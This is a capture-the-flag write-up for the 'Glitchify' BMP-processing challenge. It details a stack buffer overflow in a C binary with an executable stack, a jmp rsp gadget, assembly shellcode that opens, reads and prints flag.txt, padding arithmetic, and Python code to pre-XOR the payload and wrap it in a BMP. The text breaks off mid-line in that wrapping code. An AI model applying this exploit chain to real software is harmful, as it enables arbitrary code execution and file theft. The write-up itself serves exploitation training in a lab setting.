# Glitchify Glitchify is a "Glitch Art" SaaS that applies a noise filter to 24-bit BMP images. While the interface warns about memory limits (32x32 pixels), the underlying C application contains a classic stack-based buffer overflow and an executable stack, making it a perfect target for a custom shellcode exploit. ## Initial Analysis We are provided with the following files: - `app.py`: The Flask web wrapper. - `glitcher`: The compiled ELF64 binary. - `compose.yml` & `Dockerfile`: The container configuration. - `good.bmp` & `bad.bmp`: Sample images. ### 1. Identifying the Goal By examining the `Dockerfile`, we can see exactly how the server is set up: ```dockerfile WORKDIR /home/ctf COPY glitcher . COPY app.py . COPY flag.txt . ``` The flag is located at `/home/ctf/flag.txt`. Our goal is to read this file. ### 2. Understanding the Pipeline The `app.py` script reveals that the server captures the `stdout` of the binary and displays it to the user: ```python result = subprocess.run( ['./glitcher', b64_data], capture_output=True, text=True, timeout=2 ) output = result.stdout + result.stderr ``` If we can execute a shellcode that reads `flag.txt` and writes it to `stdout`, the flag will appear directly in the web interface. ## Binary Reconnaissance Before diving into a decompiler, let's gather basic information about the environment. ### 1. File Properties ```bash $ file glitcher glitcher: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, ..., with debug_info, not stripped ``` The binary is **not stripped**, meaning we'll have access to function names during analysis. ### 2. Security Protections ```bash $ readelf -h glitcher | grep Type Type: EXEC (Executable file) ``` **PIE is disabled**. The binary loads at fixed addresses, which simplifies our exploit since we don't need to bypass ASLR for the binary itself. ```bash $ readelf -l glitcher | grep -A 1 GNU_STACK GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 RWE 0x10 ``` **NX is disabled** (`RWE`). This is a critical finding: **the stack is executable**. We can jump to and execute code we place on the stack. ## Static Analysis (Following the Execution Flow) Now that we know the environment is permissive, let's trace how the program processes our input by following the logic in a decompiler. ### 1. The Entry Point (`main`) The program starts by taking our base64-encoded image from the command line: 1. It allocates memory for the raw data. 2. It calls `base64_decode` to convert our input back to binary. 3. It passes this decoded data to the `process_bmp` function. ### 2. Validating the Image (`process_bmp`) This function acts as the gatekeeper. It parses the BMP headers to ensure the file is valid: 1. **Header Check**: It verifies the "BM" magic bytes. 2. **Format Check**: It ensures the image is 24-bit (standard RGB). 3. **Size Calculation**: It calculates the total pixel data size: `width * height * 3`. 4. **Hand-off**: Finally, it calls `apply_noise_filter`, passing a pointer to the pixel data and the calculated `data_size`. ### 3. The Vulnerability (`apply_noise_filter`) This is where things go wrong. Let's look at the decompiled logic: ```c void apply_noise_filter(char *src_data, int data_size) { char process_buffer[3072]; // Fixed size on the stack // ... log initialization ... // CRITICAL: No check if data_size > 3072! memcpy(process_buffer, src_data, data_size); // ... XOR loop (The "Glitch") ... } ``` The programmer assumed that users would stick to the 32x32 limit mentioned in the warning. Since `memcpy` doesn't check the destination buffer's size, providing a larger `width` or `height` in our BMP header allows us to write past the end of `process_buffer` and into the function's stack frame, overwriting the saved Return Address. ### 4. The "Glitch" Filter After the overflow, but *before* the function returns, the binary applies an XOR filter: ```c for (idx = 0; idx < data_size; idx++) { process_buffer[idx] ^= (char)(idx % 256); } ``` This loop will scramble our shellcode and return address before the function returns. To ensure our code remains valid when the function eventually hits its `ret` instruction, we must **pre-XOR** our entire payload. ## Exploitation Strategy (Finding the Path) We have a buffer overflow and an executable stack. However, even with PIE disabled, the exact address of the stack can vary slightly between environments (due to environment variables, etc.). To make our exploit reliable, we need a way to redirect execution to the stack without hardcoding a stack address. ### 1. The Search for a Gadget We need an instruction already present in the binary that will "jump" to the stack pointer. In x86_64, the stack pointer is stored in the `rsp` register. Therefore, we are looking for a gadget like: - `jmp rsp` - `call rsp` - `push rsp; ret` ### 2. Hunting for the Gadget We can use `objdump` to search the entire disassembly for these specific instructions. Let's look for a `jmp rsp`: ```bash $ objdump -d glitcher -M intel | grep "jmp rsp" 4018d6: ff e4 jmp rsp ``` We found a match! There is a `jmp rsp` instruction located at address **`0x4018d6`**. ### 3. Verification Since our binary isn't stripped, we can check which function contains this gadget to understand why it's there: ```bash $ objdump -d glitcher -M intel --start-address=0x4018ce --stop-address=0x4018d8 00000000004018ce : 4018ce: f3 0f 1e fa endbr64 4018d2: 55 push rbp 4018d3: 48 89 e5 mov rbp,rsp 4018d6: ff e4 jmp rsp ``` It turns out the gadget is inside a function called `get_pixels`. This address (`0x4018d6`) is perfect because it's fixed and will jump exactly to the memory immediately following our return address on the stack—where we will place our shellcode. ## Building the Exploit Step-by-Step ### Step 1: Crafting the Shellcode Since we need to read a file and output to `stdout`, we'll use an `open` -> `read` -> `write` sequence. Here is the assembly breakdown: ```nasm ; --- Open "flag.txt" --- push 0 ; Null terminator for string mov rbx, 0x7478742e67616c66 ; "flag.txt" in hex (little-endian) push rbx ; Push string to stack mov rdi, rsp ; RDI = pointer to "flag.txt" xor esi, esi ; RSI = 0 (O_RDONLY) push 2 ; RAX = 2 (sys_open) pop rax syscall ; open("flag.txt", 0) ; --- Read file content --- mov rdi, rax ; RDI = file descriptor (from rax) mov rsi, rsp ; RSI = buffer (reuse stack space) mov edx, 0x100 ; RDX = 256 bytes to read push 0 ; RAX = 0 (sys_read) pop rax syscall ; read(fd, rsp, 256) ; --- Write to stdout --- mov rdx, rax ; RDX = bytes read (from rax) push 1 ; RDI = 1 (stdout) pop rdi push 1 ; RAX = 1 (sys_write) pop rax syscall ; write(1, rsp, rdx) ; --- Exit cleanly --- push 60 ; RAX = 60 (sys_exit) pop rax xor rdi, rdi ; RDI = 0 syscall ; exit(0) ``` ### Step 2: Calculating the Padding The `process_buffer` is 3072 bytes. To reach the return address, we must also overwrite the saved RBP (8 bytes). - **Padding**: 3080 bytes. - **Return Address**: `0x4018d6` (`jmp rsp`). - **Payload**: `Padding` + `RetAddr` + `Shellcode`. ### Step 3: Bypassing the XOR Filter We pre-XOR our raw payload so that when the server "glitches" it, it actually "decrypts" it back to our original code. ```python scrambled = bytearray() for i in range(len(raw_payload)): scrambled.append(raw_payload[i] ^ (i % 256)) ``` ### Step 4: Wrapping in a BMP We wrap our scrambled payload in a standard 24-bit BMP structure. ```python # Magic 'BM' + Headers + Scrambled Data bmp_header = struct.pack('<2sIHHI', b'BM', file_size, 0, 0, 54) info_header = struct.pack('